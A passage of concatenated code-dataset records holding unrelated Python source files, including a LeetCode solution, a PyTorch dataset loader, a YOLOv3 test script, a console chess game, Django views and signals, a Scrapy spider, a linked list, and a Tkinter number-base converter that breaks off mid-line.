https://leetcode.com/problems/replace-elements-with-greatest-element-on-right-side/\n#\n# Given an array arr, replace every element in that array with the greatest \n# element among the elements to its right, and replace the last element \n# with -1.\n#\n# After doing so, return the array.\n#\n# Example 1:\n# Input: arr = [17, 18, 5, 4, 6, 1]\n# Output: [18, 6, 6, 6, 1, -1]\n#\n# Example 2:\n# Input: arr = [400]\n# Output: [-1]\n#\n\n\nfrom typing import List\nimport pdb\nbr = pdb.set_trace\n\nsolution_json = {\n \"date\": \"2022/10/1\",\n \"design\": 0,\n \"coding\": 0,\n \"runtime\": \"1360 ms\",\n \"fasterThan\": \"31%\",\n \"memory\": \"15.5 MB\" \n}\n\nclass Solution:\n\n '''\n 0\n [17, 18, 5, 4, 6, 1]\n 1\n [18, 18, 5, 4, 6, 1] \n 2\n [18, 6, 5, 4, 6, 1]\n 3\n [18, 6, 6, 4, 6, 1]\n 4 \n [18, 6, 6, 6, 6, 1]\n 5\n [18, 6, 6, 6, 1, 1]\n\n [18, 6, 6, 6, 1, -1]\n '''\n\n def replaceElements(self, arr: List[int]) -> List[int]:\n ls = sorted(arr, reverse=True)\n out = []\n for i, v in enumerate(arr):\n ls.remove(v)\n if len(ls) == 0:\n max_v = -1 \n else:\n max_v = ls[0]\n #print(max_v)\n out.append(max_v)\n\n return out\n","repo_name":"CountChu/LeetCodePython","sub_path":"learn_04_fun_with_arrays/solutions/1299-replace-p.py","file_name":"1299-replace-p.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7654820295","text":"import numpy as np\nfrom torch.utils.data import Dataset\nimport pandas as pd\nimport torch\n\n\ndef random_transformation(im):\n \"\"\"Randomly rotate or flip the image\"\"\"\n i = np.random.randint(8)\n if i == 0 :\n return im\n if i == 1 :\n return np.rot90(im, axes=(0,1), k=1)\n if i == 2 :\n return np.rot90(im, axes=(0,1), k=2)\n if i == 3 :\n return np.rot90(im, axes=(0,1), k=3)\n if i == 4:\n return np.flip(im, axis=1)\n if i == 5:\n return np.flip(np.rot90(im, axes=(0,1), k=1))\n if i == 6:\n return np.flip(np.rot90(im, axes=(0,1), k=2))\n if i == 7:\n return np.flip(np.rot90(im, axes=(0,1), k=3))\n\nclass HackathonDataset(Dataset):\n \"\"\"Hackathon Dataset\"\"\" \n \n def __init__(self, csv_file, root_dir, use_raw=False, transform=None):\n \"\"\"\n Args:\n csv_file (string): Path to the csv file with paths and labels.\n root_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n \"\"\"\n self.file = pd.read_csv(csv_file)\n self.root_dir = root_dir\n self.transform = transform\n self.use_raw = use_raw\n \n def __len__(self):\n return len(self.file)\n \n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist() \n img_file = self.file.iloc[idx][\"image_file_name\"] \n if \"22NCL\" in img_file:\n img_dir= \"guyane/guyane/\"\n elif \"28PCC\" in img_file:\n img_dir = \"saint_louis/saint_louis/\" \n elif \"29SMD\" in img_file:\n img_dir = \"dataset_29SMD/dataset_29SMD/\" \n elif \"29TNE\" in img_file:\n img_dir = \"dataset_29TNE/dataset_29TNE/\"\n else:\n raise Exception('There is something wrong with image name') \n image = np.load(self.root_dir + img_dir + img_file + \".npy\")\n image = (image + 1) / 2 # Normalization\n if self.use_raw:\n image_raw = np.load(self.root_dir + img_dir + img_file + \"_RAW.npy\")\n image = np.concatenate((image, image_raw), axis=2)\n if self.transform:\n image = random_transformation(image) # Add a random permutation of the image\n image = np.moveaxis(image, -1, 0) # Permute dimensions in order to have Cin, H, W instead of H, W, Cin\n image = image.astype(np.float32) # We work with float (float32), not double (float64)\n target = self.file.iloc[idx][\"z\"]\n target = target.astype(np.float32) # We work with float (float32), not double (float64)\n sample = {'image': image, 'z': target, \"image_file_name\": img_file}\n return sample","repo_name":"OceanumsData/HackathonBathymetryEstimation","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"31508605280","text":"import cv2\nimport numpy as np\nimport core.utils as utils\nimport tensorflow as tf\nfrom core import yolov3\nfrom core.yolov3 import YOLOv3, decode\nimport time\nfrom PIL import Image\n\nphysical_devices = tf.config.experimental.list_physical_devices('GPU')\nassert len(physical_devices) > 0, \"Not enough GPU hardware devices available\"\ntf.config.experimental.set_memory_growth(physical_devices[0], True)\n\n\ndef test_image(image_path, model_path):\n input_size = 416\n original_image = cv2.imread(image_path)\n original_image = cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB)\n original_image_size = original_image.shape[:2]\n\n image_data = utils.image_preporcess(np.copy(original_image), [input_size, input_size])\n image_data = image_data[np.newaxis, ...].astype(np.float32)\n\n model = yolov3.build_for_test()\n # 加载tf model:model.load_weights(model_path);加载darknet model: utils.load_weights(model, model_path)\n utils.load_weights(model, model_path)\n model.summary()\n start_time = time.time()\n pred_bbox = model.predict(image_data)\n print('pred_bbox>>>>>>>>>>>>>>>>>', pred_bbox)\n end_time = time.time()\n print(\"time: %.2f ms\" %(1000*(end_time-start_time)))\n\n pred_bbox = [tf.reshape(x, (-1, tf.shape(x)[-1])) for x in pred_bbox]\n pred_bbox = tf.concat(pred_bbox, axis=0)\n # 将416×416下的bbox坐标转换为原图上的坐标并删除部分无效box\n bboxes = utils.postprocess_boxes(pred_bbox, original_image_size, input_size, 0.3)\n bboxes = utils.nms(bboxes, 0.45, method='nms')\n # 构建原图和bbox画出坐标框\n image = utils.draw_bbox(original_image, bboxes)\n image = Image.fromarray(image)\n image.show()\n\n\ndef test_video(video_path, model_path):\n input_size = 416\n\n model = yolov3.build_for_test()\n # model.load_weights(model_path)\n utils.load_weights(model, model_path)\n model.summary()\n vid = cv2.VideoCapture(video_path)\n while True:\n return_value, frame = vid.read()\n if return_value:\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n else:\n raise ValueError(\"No image!\")\n frame_size = frame.shape[:2]\n image_data = utils.image_preporcess(np.copy(frame), [input_size, input_size])\n image_data = image_data[np.newaxis, ...].astype(np.float32)\n\n prev_time = time.time()\n pred_bbox = model.predict_on_batch(image_data)\n curr_time = time.time()\n exec_time = curr_time - prev_time\n\n pred_bbox = [tf.reshape(x, (-1, tf.shape(x)[-1])) for x in pred_bbox]\n pred_bbox = tf.concat(pred_bbox, axis=0)\n bboxes = utils.postprocess_boxes(pred_bbox, frame_size, input_size, 0.3)\n bboxes = utils.nms(bboxes, 0.45, method='nms')\n image = utils.draw_bbox(frame, bboxes)\n\n result = np.asarray(image)\n info = \"time: %.2f ms\" %(1000*exec_time)\n cv2.putText(result, text=info, org=(50, 70), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n fontScale=1, color=(255, 0, 0), thickness=2)\n cv2.namedWindow(\"result\", cv2.WINDOW_AUTOSIZE)\n result = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n cv2.imshow(\"result\", result)\n if cv2.waitKey(1) & 0xFF == ord('q'): break\n\n\nif __name__=='__main__':\n\n model_path = \"./weight/yolov3.weights\"\n # model_path = \"./weight/60_epoch_yolov3_weights\"\n\n # 测试图片\n test_image(\"./resource/kite.jpg\", model_path)\n\n # 测试视频\n # test_video(\"./resource/road.mp4\", model_path)\n\n\n","repo_name":"Flowingsun007/DeepLearningTutorial","sub_path":"ObjectDetection/Yolo/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"18"} +{"seq_id":"8851730488","text":"from chessPlayer import *\n\ndef main():\n board = [0]*64\n\n for i in range(8,16,1):\n board[i] = 10\n board[40+i] = 20\n\n board[0] = 13\n board[1] = 11\n board[2] = 12\n board[3] = 14\n board[4] = 15\n board[5] = 12\n board[6] = 11\n board[7] = 13\n\n board[56] = 23\n board[57] = 21\n board[58] = 22\n board[59] = 24\n board[60] = 25\n board[61] = 22\n board[62] = 21\n board[63] = 23\n\n checkMate = False\n player1 = 10\n player2 = 20\n\n printBoard(board)\n while(checkMate == False):\n #print(\"position of piece being moved:\")\n #position = input()\n #print(\"position of destination:\")\n #move = input()\n\n computer = chessPlayer(board,player1)\n\n\n position = computer[1][0]\n print(position)\n\n move = computer[1][1]\n print(move)\n\n print(computer[2])\n\n\n board[int(move)] = board[int(position)]\n board[int(position)] = 0\n\n for i in board:\n checkMate = True\n if(i//player2 == 1 and i%player2 == 5):\n checkMate = False\n break\n\n if(checkMate == True):\n print(\"White wins!\")\n break\n\n printBoard(board)\n\n computer = chessPlayer(board,player2)\n\n\n position = computer[1][0]\n print(position)\n\n move = computer[1][1]\n print(move)\n\n print(computer[2])\n \n board[move] = board[position]\n board[position] = 0\n \n for i in board:\n checkMate = True\n if(i//player2 == 1 and i%player2 == 5):\n checkMate = False\n break\n\n if(checkMate == True):\n print(\"Black wins!\")\n break\n\n printBoard(board)\n \ndef printBoard(board):\n count = 0\n line = \"\"\n pieceT = False\n for i in board:\n if(i//10 == 1 and i != 0):\n player = 10\n pieceT = True\n elif(i//20 == 1 and i != 0):\n player = 20\n pieceT = True\n else:\n pieceT = False\n\n count = count + 1\n if(pieceT == True):\n piece = i%player\n \n if(player == 10):\n if(i%player == 0):\n line = line + \"♙\"\n if(i%player == 1):\n line = line + \"♘\"\n if(i%player == 2):\n line = line + \"♗\"\n if(i%player == 3):\n line = line + \"♖\"\n if(i%player == 4):\n line = line + \"♕\"\n if(i%player == 5):\n line = line + \"♔\"\n\n elif(player == 20):\n if(i%player == 0):\n line = line + \"♟\"\n if(i%player == 1):\n line = line + \"♞\"\n if(i%player == 2):\n line = line + \"♝\"\n if(i%player == 3):\n line = line + \"♜\"\n if(i%player == 4):\n line = line + \"♛\"\n if(i%player == 5):\n line = line + \"♚\"\n\n else:\n line = line + \" \"\n\n if(count > 7):\n print(line)\n line = \"\"\n count = 0\n\n return True\n \n \nmain() \n","repo_name":"natek1234/CSC190-ChessPlayerAI","sub_path":"chessGame.py","file_name":"chessGame.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14833959621","text":"import imp\nfrom django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom api.serializers import CategoriesListSerializers,ProductListSerializers, AddToCartSerializers, AlluserSerializers\n# Create your views here.\nfrom items.models import Categories, Product, AddToCart, Alluser, Order\n\n@api_view(['GET', 'POST', 'DELETE', 'PUT'])\ndef categories(request,pk=None):\n print(request.method,pk)\n if request.method == 'GET' and pk is None:\n categories = Categories.objects.all()\n serializer = CategoriesListSerializers(categories, many=True)\n \n return Response(serializer.data, status=200)\n if request.method == 'GET' and pk is not None:\n print (\"get individual category\")\n categories = Categories.objects.get(pk=pk)\n serializer = CategoriesListSerializers(categories)\n return Response(serializer.data, status=200)\n \n if request.method == 'POST' and pk is None:\n serializer = CategoriesListSerializers(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=201)\n return Response(serializer.errors, status=400)\n if request.method == 'PUT' and pk is not None:\n categories = Categories.objects.get(pk=pk)\n serializer = CategoriesListSerializers(instance=categories, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=201)\n return Response(serializer.errors, status=400)\n if request.method == 'DELETE' and pk is not None:\n categories = Categories.objects.get(pk=pk)\n categories.delete()\n return Response(status=204)\n ","repo_name":"aryalsuman/DRF-Learning","sub_path":"ecommerce/Ritems/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43547834691","text":"# -*- encoding: utf-8 -*-\nimport logging\n\nfrom analytics.models import CampaignTrack\nimport django.dispatch\nfrom django.template import loader, Context\nfrom djipchat.lib import send_to_hipchat\nfrom purchase.models import Order\nfrom purchase.signals import order_payed\nfrom django.conf import settings\n\n\nlogger = logging.getLogger(settings.LOGGER_SIGNALS)\n\n\n@django.dispatch.receiver(order_payed)\ndef handle_order_payed(sender, **kwargs):\n order = kwargs.get(\"order\")\n request = kwargs.get(\"request\")\n\n user = order.user\n profile = user.get_profile()\n em_data = CampaignTrack.objects.filter(user=user).order_by('id')\n try:\n first_em_data, last_em_data = em_data[0], em_data.reverse()[0]\n except IndexError:\n first_em_data = None\n last_em_data = None\n\n total_orders = Order.objects.filter(user=user).count()\n\n context = Context({\n 'request': request,\n 'order': order,\n 'first_em_data': first_em_data,\n 'last_em_data': last_em_data,\n 'total_orders': total_orders,\n 'profile': profile,\n })\n template = loader.get_template(\"purchase/fragments/hipchat_order_notification.html\")\n output = template.render(context)\n send_to_hipchat(output)\n\n logger.debug(\"Sent order information to hipchat\")","repo_name":"codeadict/ecomarket","sub_path":"apps/purchase/receivers.py","file_name":"receivers.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26701386814","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport logging\nimport json\nfrom scrapy.http import Request\nfrom ximaProject.items import XimaprojectItem\n\n\nclass XimaspiderSpider(scrapy.Spider):\n\n name = 'ximaSpider'\n allowed_domains = ['www.ximalaya.com']\n start_urls = ['http://www.ximalaya.com/']\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/123.36 (KHTML, like Gecko) Chrome/58.0.1231.110 Safari/537.36\"\n }\n\n # 开始爬取列表页\n def start_requests(self):\n for page_num in range(1, 10, 1):\n # 爬取路由规则\n url = 'http://www.ximalaya.com/dq/' + str(page_num) + '/'\n yield Request(url=url, headers=self.headers, callback=self.parse)\n\n # 解析列表页\n def parse(self, response):\n logging.info(response.url)\n album_items = response.xpath(\"//div[@id='explore_album_detail_entry']/div[@class='discoverAlbum_wrapper']/div[@class='discoverAlbum_item']\")\n for album in album_items:\n album_title = album.xpath(\"./a[@class='discoverAlbum_title']/text()\").extract_first()\n album_url = album.xpath(\"./a[@class='discoverAlbum_title']/@href\").extract_first()\n album_image_url = album.xpath(\"//a[@class='albumface']/span/img/@src\").extract_first()\n album_play_count = album.xpath(\"//span[@class='sound_playcount']/text()\").extract_first()\n logging.info(album_title)\n logging.info(album_url)\n yield Request(url=album_url, headers=self.headers, callback=self.content_parse)\n\n\n # 解析内容页\n def content_parse(self, response):\n logging.info(response.url)\n # 解析标题信息\n sound_ids = response.xpath('//div[@class=\"personal_body\"]/@sound_ids').extract_first().split(',')\n for i in sound_ids:\n sound_json_url = 'http://www.ximalaya.com/tracks/{}.json'.format(i)\n yield Request(url=sound_json_url, headers=self.headers, callback=self.json_parse)\n\n def json_parse(self, response):\n sound_dic = json.loads(response.body)\n\n # 删除标题字符串中的 空格 和 换行符\n item = XimaprojectItem()\n item['title'] = sound_dic['title']\n item['nickname'] = sound_dic['nickname']\n item['play_path'] = sound_dic['play_path']\n item['cover_url'] = sound_dic['cover_url']\n item['formatted_created_at'] = sound_dic['formatted_created_at']\n\n yield item","repo_name":"jeikerxiao/pythonStudy","sub_path":"ximaProject/ximaProject/spiders/ximaSpider.py","file_name":"ximaSpider.py","file_ext":"py","file_size_in_byte":2476,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"42138678284","text":"from Pila import Pila\n\nclass _IteradorListaEnlazada():\n \"\"\"Itera una instancia de la clase ListaEnlazada\"\"\"\n def __init__(self, prim):\n self.actual = prim\n self.pila_auxiliar = Pila()\n self.posicion = 0\n def next(self):\n \"\"\"Avanza una posicion y devuelve el dato. Si no hay posicion siguiente lanza una excepcion StopIteration. Si no hay elemento lanza una excepcion AttributeError.\"\"\"\n if not self.actual.prox:\n raise StopIteration('No hay más elementos en la lista')\n nodo = self.actual\n self.pila_auxiliar.apilar(nodo)\n self.actual = self.actual.prox\n self.posicion += 1\n return self.actual.dato\n def prev(self):\n \"\"\"Retrocede una posicion y devuelve el dato. Si no hay posicion anterior lanza una excepcion StopIteration. Si no hay elemento lanza una excepcion AttributeError.\"\"\"\n if self.pila_auxiliar.esta_vacia():\n raise StopIteration('No hay elemento previo')\n nodo = self.pila_auxiliar.desapilar()\n self.actual = nodo\n self.posicion -= 1\n return self.actual.dato\n \nclass ListaEnlazada():\n def __init__(self):\n \"\"\"Crea una lista enlazada vacía.\"\"\"\n self.prim = None\n self.len = 0\n self.iterador = self.obtener_iterador()\n \n def pop(self, posicion = None):\n \"\"\" Elimina el nodo y devuelve el dato contenido.\n Si está fuera de rango, se lanza una excepcion IndexError.\n Si no se recibe la posición, devuelve el último elemento.\"\"\"\n if not posicion:\n posicion = self.len - 1\n if posicion < 0 or posicion >= self.len:\n raise IndexError('Indice fuera de rango')\n if posicion == 0:\n dato = self.prim.dato\n self.prim = self.prim.prox\n else:\n n_ant = self.prim\n n_act = n_ant.prox\n for pos in range (1, posicion):\n n_ant = n_act\n n_act = n_ant.prox\n dato = n_act.dato\n n_ant.prox = n_act.prox\n self.len -= 1\n return dato\n \n def append(self,dato):\n \"\"\"Agrega un elemento al final de la lista enlazada\"\"\"\n nuevo = _Nodo(dato)\n if self.len == 0:\n self.prim = nuevo\n elif self.len == 1:\n self.prim.prox = nuevo\n else:\n n_act = self.prim\n for pos in range(1,self.len):\n n_act = n_act.prox\n n_act.prox = nuevo\n self.len += 1\n \n def insert(self, posicion, dato):\n \"\"\"Inserta el dato en la posición indicada.\n Si la posición es inválida, lanza una excepcion IndexError\"\"\"\n if posicion < 0 or posicion > self.len:\n raise IndexError(\"Posición inválida\")\n nuevo = _Nodo(dato)\n if posicion == 0:\n nuevo.prox = self.prim\n self.prim = nuevo\n else:\n n_ant = self.prim\n for pos in range(1, posicion):\n n_ant = n_ant.prox\n nuevo.prox = n_ant.prox\n n_ant.prox = nuevo\n self.len += 1\n\n def esta_vacia(self):\n \"\"\"Devuelve true si la lista no tiene ningun elemento\"\"\"\n return (self.len == 0)\n\n def obtener_iterador(self):\n \"\"\" Devuelve el iterador de la lista. \"\"\"\n return _IteradorListaEnlazada(self.prim)\n\n def siguiente(self):\n \"\"\"Avanza al siguiente elemento y lo devuelve. Si no hay marca o es la ultima, lanza una excepcion StopIteration\"\"\"\n try:\n return self.iterador.next()\n except AttributeError:\n raise StopIteration \n \n def anterior(self):\n \"\"\"Retrocede al anterior elemento y lo devuelve. Si no hay marca o es la primera, lanza una excepcion StopIteration\"\"\"\n try:\n return self.iterador.prev()\n except AttributeError:\n raise StopIteration \n\n def actual(self):\n \"\"\"Devuelve el dato en la posicion actual del iterador. Si hay elemento, lanza una excepcion AttributeError.\"\"\"\n return self.iterador.actual.dato\n\n def volver_al_inicio(self):\n \"\"\"Vuelve el iterador a la posicion inicial\"\"\"\n self.iterador = self.obtener_iterador()\n\n def actualizar(self,desplazamiento=0):\n \"\"\" Reinicia el iterador y mueve el cursor a la posicion anterior (por defecto) o a la posicion indicada por parametro.\n Recibe un parametro desplazamiento que indica el desplazamiento con repecto a la posicion anterior\"\"\"\n posicion = self.iterador.posicion\n self.iterador = self.obtener_iterador()\n for i in range(posicion + desplazamiento):\n if i < (self.len - 1):\n self.iterador.next()\n\n def posicion_actual(self):\n \"\"\"Devuelve la posicion actual del iterador\"\"\"\n return self.iterador.posicion\n\nclass _Nodo():\n \"\"\"Un nodo contiene un dato y una referencia al proximo\"\"\"\n def __init__(self, dato, prox = None):\n self.dato = dato\n self.prox = prox\n","repo_name":"AlejandroKler/Sounds-of-Cyber-City","sub_path":"ListaEnlazada.py","file_name":"ListaEnlazada.py","file_ext":"py","file_size_in_byte":5042,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32337630911","text":"from ai2_kit.core.util import ensure_dir\nfrom ai2_kit.core.log import get_logger\n\nimport dpdata\nimport glob\n\nlogger = get_logger(__name__)\n\nclass DpdataHelper:\n\n def __init__(self, label: bool = True):\n self._systems = []\n self._label = label\n\n def read(self, *file_path_or_glob: str,**kwargs):\n kwargs.setdefault('fmt', 'deepmd/npy')\n files = []\n for file_path in file_path_or_glob:\n files += sorted(glob.glob(file_path, recursive=True)) if '*' in file_path else [file_path]\n\n if len(files) == 0:\n raise FileNotFoundError(f'No file found for {file_path_or_glob}')\n for file in files:\n self._read(file, **kwargs)\n return self\n\n def filter(self, lambda_expr: str):\n fn = eval(lambda_expr)\n def _fn(system):\n return fn(system.data)\n self._systems = list(filter(_fn, self._systems))\n return self\n\n @property\n def merge_write(self):\n logger.warn('merge_write is deprecated, use write instead')\n return self.write\n\n def write(self, out_path: str, fmt='deepmd/npy'):\n ensure_dir(out_path)\n if len(self._systems) == 0:\n raise ValueError('No data to merge')\n\n multi_systems = dpdata.MultiSystems(self._systems[0])\n for system in self._systems[1:]:\n multi_systems.append(system)\n\n if fmt == 'deepmd/npy':\n multi_systems.to_deepmd_npy(out_path) # type: ignore\n elif fmt == 'deepmd/raw':\n multi_systems.to_deepmd_raw(out_path) # type: ignore\n elif fmt == 'deepmd/hdf5':\n multi_systems.to_deepmd_hdf5(out_path) # type: ignore\n else:\n raise ValueError(f'Unknown fmt {fmt}')\n\n def _read(self, file: str, **kwargs):\n if self._label:\n self._systems.append(dpdata.LabeledSystem(file, **kwargs))\n else:\n self._systems.append(dpdata.System(file, **kwargs))\n","repo_name":"chenggroup/ai2-kit","sub_path":"ai2_kit/tool/dpdata.py","file_name":"dpdata.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"18"} +{"seq_id":"17852397853","text":"import os\nimport jmespath\nfrom python.libs.load_data import JsonsData\nfrom python.libs.group_info import GroupDataMapping,InprogressGroup\n\n\n\ndef create_pt_session():\n\n session_base_info = {\n 'teacher_id': 60003,\n 'session_data': '2019-08-20',\n 'product': 'TB_v3bk1', #SS, HF, (find the supported group product in group_info.py\n 'classroom': 'Romaye'\n\n }\n group_key = session_base_info['product']\n\n session_json = JsonsData(os.path.abspath('../data/sessions.json'))\n\n\n session_group_id = getattr(GroupDataMapping, group_key)['GroupId']\n session_group_code = getattr(GroupDataMapping,group_key)['GroupCode']\n session_coursetype_level_code = getattr(InprogressGroup,group_key)['CourseTypeLevel']['Code']\n new_session = {\n \"id\": '_'.join([str(session_base_info['teacher_id']),session_base_info['session_data']]),\n \"data\": [\n {\n \"GroupId\": session_group_id,\n \"CourseTypeCode\": session_base_info['product'],\n \"CourseTypeLevelCode\": session_coursetype_level_code,\n \"StartTime\": session_base_info['session_data'] +\"T10:00:00\",\n \"EndTime\": session_base_info['session_data'] + \"T11:00:00\",\n \"GroupCode\": session_group_code,\n \"Classroom\": session_base_info['classroom']\n }\n ]\n }\n session_json.update(new_session)\n\n #create session members\n pt_groupmembers_json = JsonsData(os.path.abspath('../data/groupinfos.json'))\n\n group_session_id_list = jmespath.search('[].id', pt_groupmembers_json.params)\n if session_group_id in group_session_id_list:\n return\n else:\n members_in_group= get_student_list_from_group(session_group_id)\n\n student_profile_json = JsonsData(os.path.abspath('../data/profiles.json'))\n\n group_student_list = list(map(lambda x:jmespath.search(\"[?id=='{0}' || id == `{0}`].data\".format(x), student_profile_json.params)[0],members_in_group))\n\n\n\n new_session_member = {\n \"id\": session_group_id,\n \"data\": group_student_list\n }\n\n pt_groupmembers_json.update(new_session_member)\n\n\ndef get_student_list_from_group(group_id):\n inprogress_groups_json = JsonsData(os.path.abspath('../data/inprogressgroups.json'))\n student_list = []\n for student in inprogress_groups_json.params:\n if group_id in jmespath.search('data[].GroupId',student):\n student_list.append(str(jmespath.search('id', student)))\n return student_list\n\n\n\n\nif __name__ == '__main__':\n create_pt_session()\n","repo_name":"currysunxu/api-mock-server","sub_path":"python/create_pt_session.py","file_name":"create_pt_session.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37173244768","text":"import os\nimport sys\nfrom tkinter import *\nfrom tkinter.font import Font\nimport tkinter.ttk as ttk\nimport pygame\nimport pyperclip\nfrom PIL import Image, ImageTk\nfrom converter import NumberSystemConversion\n\n\nclass GUI:\n def __init__(self):\n pygame.init()\n pygame.mixer.init()\n\n if sys.platform == 'win32':\n self.AudioFile = self.ResourcePath('WinErrSound.wav')\n\n else:\n self.AudioFile = self.ResourcePath('LinuxErrSound.wav')\n\n pygame.mixer.music.load(self.AudioFile)\n\n self.IsEntryDefault = True\n self.DefaultText = 'Enter Number'\n\n self.master = Tk()\n self.master.withdraw()\n self.master.title('Number System')\n self.master.iconbitmap(self.ResourcePath('icon.ico'))\n\n self.ImageFile = Image.open(self.ResourcePath('cover.jpg'))\n self.ImageFile.thumbnail((800, 800), Image.Resampling.LANCZOS)\n self.ImageFile = ImageTk.PhotoImage(self.ImageFile)\n\n self.Canvas = Canvas(self.master, highlightthickness=0)\n self.Canvas.pack(fill='both', expand=True)\n\n self.Canvas.create_image(0, 0, anchor='nw', image=self.ImageFile)\n\n self.ComboValues = ['Binary to Decimal', 'Binary to Octal', 'Binary to Hexadecimal', 'Binary to Quinary',\n 'Decimal to Binary', 'Decimal to Octal', 'Decimal to Hexadecimal', 'Decimal to Quinary',\n 'Octal to Binary', 'Octal to Decimal', 'Octal to Hexadecimal', 'Octal to Quinary',\n 'Hexadecimal to Binary', 'Hexadecimal to Decimal', 'Hexadecimal to Octal', 'Hexadecimal to Quinary',\n 'Quinary to Binary', 'Quinary to Decimal', 'Quinary to Octal', 'Quinary to Hexadecimal']\n\n self.EntryVar = StringVar()\n self.EntryStyle = ttk.Style()\n self.EntryStyle.configure('E.TEntry', foreground='grey')\n self.EntryBox = ttk.Entry(self.master, width=33, textvariable=self.EntryVar, justify='center', style='E.TEntry')\n self.EntryVar.set(self.DefaultText)\n\n self.ComboBox = ttk.Combobox(self.master, values=self.ComboValues, width=30, justify='center')\n self.ComboBox.set('Select Number System')\n\n self.ConvertButton = Button(self.master, width=28, height=2, fg='white', bg='Green', bd='0', activebackground='Green', activeforeground='white', text='CONVERT', cursor='hand2', command=self.calculation)\n\n self.Canvas.create_window(190, 80, window=self.EntryBox, height=28)\n self.Canvas.create_window(190, 115, window=self.ComboBox, height=28)\n self.Canvas.create_window(190, 154, window=self.ConvertButton)\n\n self.master.bind('<Return>', self.calculation)\n self.EntryBox.bind('<FocusIn>', self.FocusIn)\n self.EntryBox.bind('<FocusOut>', self.FocusOut)\n self.master.bind('<Button-1>', self.FocusAnyWhere)\n self.ComboBox.bind('<Button-1>', self.ComboSingleClick)\n\n self.InitialWindowPosition()\n self.master.mainloop()\n\n def InitialWindowPosition(self):\n '''\n Set window to center of the screen when it starts\n '''\n\n self.master.update()\n\n ScreenWidth = self.master.winfo_screenwidth() // 2\n ScreenHeight = self.master.winfo_screenheight() // 2\n\n width = self.master.winfo_reqwidth() // 2\n height =self.master.winfo_reqheight() // 2\n\n x = ScreenWidth - width\n y = ScreenHeight - height\n\n self.master.geometry(f'+{x}+{y}')\n self.master.resizable(0, 0)\n\n self.master.deiconify()\n\n def FocusAnyWhere(self, event=None):\n '''\n Set Focus to clicked widget\n '''\n\n event.widget.focus_set()\n\n def FocusIn(self, event=None):\n '''\n When users clicks to Entry Widget\n '''\n\n if self.IsEntryDefault:\n self.EntryVar.set('')\n self.IsEntryDefault = False\n self.EntryStyle.configure('E.TEntry', foreground='black')\n\n def FocusOut(self, event=None):\n '''\n When users clicks to Entry Widget\n '''\n\n if not self.EntryVar.get().strip():\n self.IsEntryDefault = True\n self.EntryVar.set(self.DefaultText)\n self.EntryStyle.configure('E.TEntry', foreground='grey')\n\n def ComboSingleClick(self, event=None):\n '''\n Show drop-down items when clicked to ComboBox\n '''\n\n self.ComboBox.event_generate('<Down>', when='head')\n\n def PlayErrorAudio(self):\n '''\n Play error audio\n '''\n\n pygame.mixer.music.play()\n\n def DisplayAnswer(self, result):\n '''\n Display answer or errors\n '''\n\n if 'valid' in result.lower():\n fg = 'red'\n\n else:\n fg = 'white'\n\n self.CanvasResultText = self.Canvas.create_text(200, 200, text=result, fill=fg, width=200, font=Font(size=15))\n\n if 'valid' not in result.lower():\n self.CopyToClipBoardButton = Button(self.master, text='Copy', bd=0, bg='dark green', activebackground='green', fg='white', activeforeground='white', command=lambda: self.CopyToClipBoard(text=result))\n self.CanvasCopyToClipBoardButton = self.Canvas.create_window(250, 240, window=self.CopyToClipBoardButton, height=40, width=70)\n self.CopyToClipBoardButton.bind('<Button-1>', lambda event=Event, text=result: self.CopyToClipBoard(event, text))\n\n else:\n self.master.after(2000, self.RemoveWidgets)\n\n def CopyToClipBoard(self, event=None, text=None):\n '''\n Copy obtained result to clipboard\n '''\n\n pyperclip.copy(text)\n\n self.CopyToClipBoardButton.config(text='Copied !!!')\n self.master.focus()\n\n self.master.after(2000, lambda: self.Canvas.delete(self.CanvasCopyToClipBoardButton))\n\n def RemoveWidgets(self):\n '''\n Remove the label and button displayed after obtaining the result\n '''\n\n try:\n self.Canvas.delete(self.CanvasResultText)\n self.Canvas.delete(self.CanvasCopyToClipBoardButton)\n\n except AttributeError:\n pass\n\n def calculation(self, event=None):\n '''\n Converting number with respective selected conversion\n '''\n\n self.RemoveWidgets()\n get_value = self.EntryVar.get().strip()\n\n if get_value == self.DefaultText or not get_value:\n self.PlayErrorAudio()\n answer = 'Input Valid Number'\n\n elif self.ComboBox.get() == 'Select Number System':\n self.PlayErrorAudio()\n answer = 'Select Valid Conversion'\n\n else:\n combo_get = self.ComboBox.get()\n number_system = NumberSystemConversion(self.DisplayAnswer, 